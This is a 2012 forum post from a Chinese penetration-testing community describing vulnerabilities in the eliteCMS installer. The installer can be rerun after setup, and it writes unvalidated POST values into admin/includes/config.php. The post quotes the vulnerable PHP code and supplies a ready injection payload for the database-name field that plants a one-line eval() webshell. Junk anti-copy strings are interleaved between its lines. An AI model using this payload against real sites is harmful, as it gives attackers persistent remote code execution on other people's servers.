中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
# y" s& s! Y' p, P; M5 D
6 n( w) ]2 I2 l5 o$ A; n
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
0 E2 h" i+ r4 |" G5 S `# Y
我们来看代码：
& l3 C& [ T4 O* h
! c4 Z& [3 P* Z- ?* J3 |: Q: x
...
8 N- q8 k% d9 `+ {4 O' i5 L: Q) Z- a% ~
elseif ($_GET['step'] == "4") {
" y! Z. B1 Q' h @
$file = "../admin/includes/config.php";
' _4 @; Y- e$ G( N4 o
$write = "<?php\n";
. ?' e7 y" w) j6 X* R
$write .= "/**\n";
& d' K6 I7 I% b) Y
$write .= "*\n";
- O: _& u. R0 V- _1 F! b! u- h1 k5 h
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* C$ N* b2 }4 S2 p# n a
...略...
' U2 |0 E2 d) W) ~8 a7 b( Q
$write .= "*\n";
* _) f; d1 ]4 O) g2 |
$write .= "*/\n";
" ?; _2 G( g- Z" R4 _6 n$ [6 i: u- R; u
$write .= "\n";
5 U6 j, r+ o4 q% P8 v
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
2 o t0 X$ C6 b' j, `+ S
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
8 `3 [. `* m+ }' g! Z
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
' [% d* Z& F3 a( Z' ]
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
4 r& j: v3 V& L6 N5 H F i# _* T
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
8 @) L; i/ K" \) \
$write .= "if (!\$connection) {\n";
9 Q( ?; _! q, j2 `
$write .= " die(\"Database connection failed\" .mysql_error());\n";
8 ]( j d2 g9 o/ R3 ~& Q1 ]5 H- Y
$write .= " \n";
6 d- A" w' ~- ~+ p" ^
$write .= "} \n";
9 t: V0 C' s' n1 z9 @- K
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
# j: `9 n& ?0 _' r8 L" o
$write .= "if (!\$db_select) {\n";
0 C k3 T# S/ y; c* s! T2 R- l
$write .= " die(\"Database select failed\" .mysql_error());\n";
9 W+ |* D _! E( N' O" J
$write .= " \n";
5 D( |* C' i+ P/ e) H t
$write .= "} \n";
9 I7 T. P* Y: Z+ W' @+ @2 U1 y
$write .= "?>\n";
' n4 l# J8 u8 U& @' g
% z; L/ X1 v1 \( S7 D: `
$writer = fopen($file, 'w');
8 B$ C% Y$ t2 M) H% k7 U
...
2 C3 |4 j) z, v9 @
" t0 R6 h2 ~3 d2 H$ [
在看代码：
8 ?" W. `2 p4 ~7 O/ l1 Z9 u
# X/ Q3 ?: w3 l; }! S* v# c
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
% i5 u4 u: V: U, h; q! C
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
. |( E/ R' K1 n. e% U5 x, M
$_SESSION['DB_USER'] = $_POST['DB_USER'];
) w+ l+ a' Y# s8 w( n
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
u8 F6 z6 p$ m6 F- ~
4 s2 T) Q( ~5 k
取值未作任何验证
9 I$ J7 W9 e' }# k0 y4 _) c; A
如果将数据库名POST数据：
9 T- Z+ f5 z2 [( i1 H6 t2 R
* \/ I5 @" i; J
"?><?php eval($_POST[c]);?><?php
% E, Z/ W( T$ U8 `; C7 |4 e. Q
0 o0 O( }4 c! O0 i( @! M# j" {
将导致一句话后门写入/admin/includes/config.php
6 x8 V! h- p; C9 T2 ~/ V2 [
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2